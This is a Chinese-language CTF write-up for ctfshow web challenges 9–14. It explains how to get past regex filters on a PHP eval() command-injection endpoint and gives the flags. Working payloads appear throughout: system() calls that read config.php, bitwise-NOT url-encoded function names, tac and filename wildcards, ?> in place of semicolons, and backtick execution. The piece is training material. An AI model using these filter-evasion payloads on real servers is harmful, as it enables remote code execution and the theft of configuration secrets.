ctfshow萌新计划web9-14(正则匹配绕过)

目录

web9

web10

web11

web12

web13

web14


web9

审一下代码,需要匹配到system|exec|highlight才会执行eval函数

先看一下当前目录下有什么

payload:?c=system('ls');

index.php是首页,我们看看config.php

payload:?c=system('cat config.php');

没有回显,看一下源码,找到flag

ctfshow{8e148a24-0ac7-4280-8bfe-f4fd4560112b}

web10

这次if语句里加了个非,即过滤掉了system|exec|highlight

用之前讲过的取反绕过,可以参考 http://t.csdnimg.cn/1p3dy

即对我们想要执行的代码进行取反,url编码,再取反

题目源代码里也有提示,flag在config.php里面

代码很简单我们直接使用在线编译工具生成payload

php 复制代码
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat config.php');
?>

构造payload:?c=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%9C%90%91%99%96%98%D1%8F%97%8F);

传入之后查看源代码

ctfshow{826e3a2b-decb-42d0-ae45-dced3337b685}

web11

才发现上一道题其实只需要对system取反绕过即可,这里才是过滤掉了cat

继续使用上一道题的payload:

或者只对system取反绕过,cat用tac代替

tac命令:反向显示文件内容,即最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac config.php');

ctfshow{eef3eb10-069e-4c10-83c3-facc913d4dae}

web12

这里把文件名config,php也过滤了

可以使用通配符 * 或者 ? 进行模糊查询

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*');

或者:?c=(~%8C%86%8C%8B%9A%92)('tac ???fi??p??');

随便怎么敲都行

ctfshow{523f3e7f-264f-438c-a355-aafb71807094}

web13

这里把;也过滤了

使用 ?>代替

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*')?>

ctfshow{660772e4-5170-4117-98ad-43611f2af520}

web14

过滤了括号,使用反引号``代替

system用echo替换,可以参考我前面的博客http://t.csdnimg.cn/M7VNu

构造payload: ?c=echo`tac c*`?>

ctfshow{2ebfa3da-656e-42e2-b3f1-0ecd342ec6b7}

相关推荐
Spider赵毅1 小时前
python实战 | 如何使用海外代理IP抓取Amazon黑五数据
python·tcp/ip·php
李慕婉学姐2 小时前
【开题答辩过程】以《基于PHP的动漫社区的设计与实现》为例,不知道这个选题怎么做的,不知道这个选题怎么开题答辩的可以进来看看
开发语言·mysql·php
xixixi777773 小时前
STIX/TAXII:网络威胁情报的“普通话”与“顺丰快递”
开发语言·安全·php·威胁·攻击检测·stix·taxii
前进的李工3 小时前
零知识证明:不泄露秘密也能自证
人工智能·web安全·区块链·零知识证明
Bruce_Liuxiaowei3 小时前
全面TCP端口扫描:Nmap高级扫描技术与实战应用
网络·tcp/ip·网络安全·php
emma羊羊4 小时前
【Yakit渗透利器】
安全·web安全
catchadmin4 小时前
PHP 8.6 新增 clamp() 函数
开发语言·php
隔壁小白4 小时前
PHP 8.1 枚举(Enums)详解
php
Bug.ink6 小时前
BUUCTF——WEB(3)
web安全·网络安全·buuctf
郑州光合科技余经理6 小时前
海外国际版同城服务系统开发:PHP技术栈
java·大数据·开发语言·前端·人工智能·架构·php